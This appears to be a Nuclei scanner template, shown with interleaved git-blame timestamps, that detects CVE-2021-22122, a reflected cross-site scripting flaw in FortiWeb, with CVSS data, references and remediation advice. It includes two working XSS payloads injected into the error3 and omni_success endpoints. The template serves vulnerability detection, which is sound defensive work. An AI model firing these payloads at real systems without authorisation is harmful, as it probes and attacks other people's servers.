2021-02-04 13:33:19 +00:00
id : CVE-2021-22122
info :
2022-09-08 13:28:46 +00:00
name : FortiWeb - Cross-Site Scripting
2021-02-04 13:33:19 +00:00
author : dwisiswant0
2021-02-04 14:13:13 +00:00
severity : medium
2021-08-18 11:37:49 +00:00
description : |
2022-09-08 13:28:46 +00:00
FortiWeb 6.3.0 through 6.3.7 and versions before 6.2.4 contain an unauthenticated cross-site scripting vulnerability. Improper neutralization of input during web page generation can allow a remote attacker to inject malicious payload in vulnerable API end-points.
2023-09-06 12:09:01 +00:00
remediation : |
Apply the latest security patches or updates provided by Fortinet to fix the XSS vulnerability in FortiWeb.
2021-08-18 11:37:49 +00:00
reference :
2021-03-24 06:48:11 +00:00
- https://www.fortiguard.com/psirt/FG-IR-20-122
- https://twitter.com/ptswarm/status/1357316793753362433
2022-05-17 09:18:12 +00:00
- https://fortiguard.com/advisory/FG-IR-20-122
2022-09-08 13:28:46 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-22122
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 6.1
2021-09-10 11:26:40 +00:00
cve-id : CVE-2021-22122
cwe-id : CWE-79
2023-10-25 17:36:19 +00:00
epss-score : 0.00609
epss-percentile : 0.76207
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : fortinet
product : fortiweb
tags : cve,cve2021,fortiweb,xss
2021-02-04 13:33:19 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-02-04 13:33:19 +00:00
- method : GET
path :
2023-07-20 07:43:09 +00:00
- "{{BaseURL}}/error3?msg=30&data=';alert('document.domain');//"
- "{{BaseURL}}/omni_success?cmdb_edit_path=\");alert('document.domain');//"
2023-07-11 19:49:27 +00:00
2021-02-04 13:33:19 +00:00
matchers-condition : and
matchers :
- type : word
2023-07-11 19:49:27 +00:00
part : body
2021-02-04 13:33:19 +00:00
words :
2023-07-20 07:43:09 +00:00
- "alert('document.domain')"
2021-02-04 13:33:19 +00:00
- "No policy has been chosen."
condition : and
2023-10-26 05:41:51 +00:00
# digest: 490a0046304402206f8ccd872e6c2f0ac9ff54762314afefb1ed199c363b3c0f64409cb89894a2fd022067de50ad4da684580db7793e9fd826ea5db1c7f1b9139207ba9cd5198ce8ccb7:922c64590222798bb761d5b6d8e72950